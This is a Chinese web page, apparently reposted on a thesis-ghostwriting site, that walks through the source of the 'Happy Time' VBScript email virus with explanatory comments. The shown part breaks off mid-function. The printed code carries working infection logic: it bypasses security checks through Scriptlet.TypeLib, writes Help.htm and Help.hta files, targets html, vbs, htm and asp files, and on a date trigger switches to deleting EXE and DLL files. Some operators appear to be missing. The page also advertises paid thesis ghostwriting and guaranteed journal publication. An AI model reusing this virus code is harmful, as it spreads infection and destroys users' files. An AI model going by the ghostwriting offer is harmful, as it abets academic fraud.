空心雨毕业论文网提供毕业论文、职称论文、硕士论文、计算机论文等的代写服务,同时还提供各种期刊论文的发表。如果你有需要,请联系我们QQ:5599630;电话:13350726595;E-mail:singlehearted@vip.qq.com
RSS
 

欢乐时光代码分析

来源:网络转载 作者:okxy168.com 时间:2008-01-10 浏览:2 字体:【

“欢乐时光”其实就是利用了超文本邮件中可以夹带脚本语言的特点而棋高一招的。我们知道,邮件的格式可以有两种:纯文本和超文本。超文本(HTML)功能强大就不用多说了,它可以内嵌数种脚本语言,常见的就是VBScript和JavaScript。“欢乐时光”在超文本中夹带的就是VBS。从源代码中可以看得出来,该作者很可能是长期从事网络编程的高手,他对VBS的认识可谓精通,使用的许多技术细节都鲜为人知,尤其是利用了类型库(Type Library)成功地避开了安全审核的手段更是令人叹为观止。

下面让我们来看看它藏在快乐的外衣下的是什么吧!

*************** 欢乐时光 ***************

Rem I am sorry! happy time

On Error Resume Next

Mload

’以上为病毒入口,并加上I am sorry! happy time的注释,以表明此文件已被感染过。

Sub mload()

On Error Resume Next

mPath = Grf()

Set Os = CreateObject("Scriptlet.TypeLib")

Set Oh = CreateObject("Shell.Application")

’建立枚举对象,避开了安全审核

If IsHTML Then

’调用IsHtml函数,如果是Html,就小写……

mURL = LCase(document.Location)

If mPath = "" Then

Os.Reset

Os.Path = "C:\Help.htm"

Os.Doc = Lhtml()

Os.Write()

’如果mPath为空,就在C盘下生成Help.htm

Ihtml = ""

’超文本的内容,并指向C:\Help.Htm

Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)

Else

If Iv(mPath, "Help.vbs") Then

setInterval "Rt()", 10000

Else

m = "hta"

If LCase(m) = Right(mURL, Len(m)) Then

id = setTimeout("mclose()", 1)

’设置超时条件

main

Else

Os.Reset()

Os.Path = mPath & "\" & "Help.hta"

Os.Doc = Lhtml()

Os.write()

Iv mPath, "Help.hta"

’生成Help.hta

End If

End If

End If

Else

Main

’都不是,就执行main函数

End If

End Sub

’******************************************************************

’以下为主函数,太长了!

Sub main()

On Error Resume Next

Set Of = CreateObject("Scripting.FileSystemObject")

’不用说,创建FileSystemObject对象啦

Set Od = CreateObject("Scripting.Dictionary")

’创建Dictionary对象, 用来保存数据键和项目对,它实际上是一个比较开放的数组

Od.Add "html", "1100"

Od.Add "vbs", "0100"

Od.Add "htm", "1100"

Od.Add "asp", "0010"

’向Dictionary对象添加要感染的项目对

Ks = "HKEY_CURRENT_USER\Software\"

’使用变量以减少代码长度

Ds = Grf()

CS = GSF()

IF ISVBS THEN

’如果是VBS

IF OF.FILEEXISTS("C:\HELP.HTM") THEN

OF.DELETEFILE ("C:\HELP.HTM")

’如果C:\HELP.HTM存在,就删掉,消灭遗留的痕迹

END IF

KEY = CINT(MONTH(DATE)   DAY(DATE))

IF KEY = 13 THEN

’如果月与日之和为13(这也是它变种多的原因——将13改为其他数字即可)

OD.REMOVEALL

OD.ADD "EXE", "0001"

OD.ADD "DLL", "0001"

’就清空DICTIONARY数组,并将EXE、DLL加入DICTIONARY 对象,以备删除之用

END IF

CN = RG(KS & "HELP\COUNT")

’读注册表中的HKEY_CURRENT_USER\SOFTWARE\HELP\COUNT键值

IF CN = "" THEN

CN = 1

’如果COUNT为0,就设为1

END IF

RW KS & "HELP\COUNT", CN   1

’添加HKEY_CURRENT_USER\SOFTWARE\HELP\COUNT键值,值为2

F1 = RG(KS & "HELP\FILENAME")

’再读HKEY_CURRENT_USER\SOFTWARE\HELP\FILENAME键值

F2 = FNEXT(OF, OD, F1)

’得到该文件的文件名

FEXT = GETEXT(OF, OD, F2)

’得到该文件扩展名的代号

RW KS & "HELP\FILENAME", F2

’添加键值

IF ISDEL(FEXT) THEN

’如果扩展名代号的第四个字符为1——即0001(EXE、DLL)

F3 = F2

阅读更多内容1 · 2 · 下一页>>
2
最新评论
发表评论
评论内容:不能超过250字,需审核,请自觉遵守互联网相关政策法规。
      本站是由一个众多学科的博士群体组建而成,主要创办者为成都各重点高校博士。本论文网内理工科写手均为博士,文科类写手大部分为博士,且领域涵盖广泛,写作势力强大,若有部分专业,没有相关的写手,我们给你寻找合适的写手! 依托强大的人力资源,我们本着诚心交流的宗旨,专门为您排解写作上的难题。从在科研及实践工作中稳扎稳打的经历,我们具备了研究问题,解决问题的能力。论文写作和论文发表,作为教育体系的一个重要环节,我们确实有能力给您解决好问题,正所谓,真金不怕火来炼,请相信我们的势力,没有把握的事,我们不会做!
      本站受多家期刊委托,其中包括国家级中文核心期刊目录正刊,CSSCI目录正刊,增刊,省级以上公开出版的优秀期刊正刊,本站负责论文推荐发表,加急1个月即可发表。本站负责论文发表,不发表承诺退款!!目前主要负责法律,管理,经济,理工,农学,行政,医学,艺术,英语等类论文发表论文代写。详细期刊目录见本站相关内容。
赞助商链接